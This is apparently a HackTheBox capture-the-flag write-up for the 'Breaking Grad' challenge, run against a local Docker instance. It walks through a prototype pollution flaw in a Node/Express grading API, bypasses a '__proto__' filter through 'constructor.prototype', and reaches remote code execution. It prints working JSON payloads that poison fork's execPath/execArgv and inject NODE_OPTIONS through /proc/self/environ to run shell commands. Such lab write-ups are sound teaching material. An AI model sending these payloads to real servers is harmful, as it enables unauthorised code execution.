Breaking Grad HackTheBox Write-Up
We are provided with a testing env to play with the application locally, and review the errors that are produced. Simply download the zip, and run the docker_setup.sh file.
Upon accessing the page, we are greeted with a simple choice between two names, and upon submitting the name, we just get returned "Nope". Upon reviewing the POST request made to the endpoint, we notice that it accepts JSON as input.
As JavaScript is a prototype inheretance based language, we can take advantage of the fact that it accepts JSON, and exploit a prototype pollution vulnerability. This vulnerability abuses the fact that when the prototype is modified for one object, it is modified for all of them. A basic example of this is the following:
if (user.isAdmin) {
// do something important!
}
If prototype pollution allows for Object.prototype.isAdmin = true
, then user.isAdmin
will always be true (as long as the application doesn't set an explicit value).
Using this idea, we can review the code and see what security measures are in place to avoid the exploitation.
isValidKey(key) {
return key !== '__proto__';
}
Luckily, an alternative to the __proto__
property, is the prototype
property, meaning we can use the latter instead of the blocked property.
To confirm the existence of this vulnerability, we can overwrite a property that is later used in the application, and see if the response is modified accordingly, this only works if that property isn't explicitly defined, this means that definitions will take priority over prototypes, as seen below.

For example the "paper" property, in the example below. As the paper property isn't explicitly set, we can modify it to be a value that is equal to, or greater than 10.
if (StudentHelper.isDumb(student.name) || !StudentHelper.hasBase(student.paper)) {
return res.send({
'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
});
}
hasBase(grade) {
return (grade >= 10);
}
We can then verify the vulnerability with:
Request
POST /api/calculate HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/
Content-Type: application/json
Content-Length: 58
Origin: http://localhost:1337
Connection: close
{"name":"Test","constructor":{"prototype":{"paper":10}}}
Reply
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 17
ETag: W/"11-DNZhyKTdyh/8uxIU9DQUNvnhX48"
Date: Thu, 04 Feb 2021 18:20:52 GMT
Connection: close
{"pass":"Passed"}
This essentially changes the value of constructor.prototype.paper to 10
, which then allows for a passing grade.
Now to convert the vulnerability into RCE, we need to find a property that we can modify, which eventually leads to some sort of code evaluation or command injection.
Within the DebugHelper.js file, we notice it uses the child_process.fork() function, but it doesn't specify a third argument.
if (command == 'version') {let proc = fork('VersionCheck.js', [], {stdio: ['ignore', 'pipe', 'pipe', 'ipc']});
This third argument is the child_process.fork's options property, which we can modify using the prototype pollution, to call our own binary, with it's specific arguments.
POST /api/calculate HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/
Content-Type: application/json
Content-Length: 72
Origin: http://localhost:1337
Connection: close
{"constructor":{"prototype":{"execPath":"ls","execArgv":["-la","."]}}}
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Date: Thu, 04 Feb 2021 20:32:24 GMT
Connection: close
Content-Length: 699
-rw-r--r-- 1 root root 310 Feb 4 12:41 VersionCheck.js
.:
total 60
drwxr-xr-x 1 root root 4096 Feb 4 12:41 .
drwxr-xr-x 1 root root 4096 Feb 4 20:24 ..
-rw-r--r-- 1 root root 310 Feb 4 12:41 VersionCheck.js
-rw-r--r-- 1 root root 26 Jun 26 2020 flag_xiXDu
drwxr-xr-x 2 root root 4096 Jun 26 2020 helpers
-rw-r--r-- 1 root root 490 Jun 26 2020 index.js
drwxr-xr-x 56 root root 4096 Feb 4 12:41 node_modules
-rw-r--r-- 1 root root 14241 Feb 4 12:41 package-lock.json
-rw-r--r-- 1 root root 409 Jun 26 2020 package.json
drwxr-xr-x 2 root root 4096 Jun 26 2020 routes
drwxr-xr-x 5 root root 4096 Jun 26 2020 static
drwxr-xr-x 2 root root 4096 Jun 26 2020 views
Finally, we can use the cat binary, and retrieve the flag. Another solution to the challenge is by instead modifying the environment variables, and later the node options to require said file, as seen in Kibana RCE writeup.
So essentially, the method is to modify the env
property to write to environment variables of new node processes that are spawned. This is abusable due to child process having an "env" property for the fork's functions options.
Upon overwriting the env property that is used when spawning a process, we just need to invoke a page that spawns a new node process, in our case we can use the /debug/version
page. So we pollute the prototype as shown below, so that the environment variables AAAA
and NODE_OPTIONS
are inhereted by the new node processes.
chivato@kingdom:~/Downloads$ NODE_OPTIONS="--require /proc/self/environ" AAA="console.log(1337)//" node
1337
Final payload
POST /api/calculate HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/
Content-Type: application/json
Content-Length: 217
Origin: http://localhost:1337
Connection: close
{"name":"Kenny Baker","constructor":{"prototype":{"env":{"AAAAA":"console.log(require(\"child_process\").execSync(\"whoami\").toString());process.exit()//","NODE_OPTIONS":"--require /proc/self/environ"}}}}
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Date: Thu, 04 Feb 2021 21:45:11 GMT
Connection: close
Content-Length: 8
nobody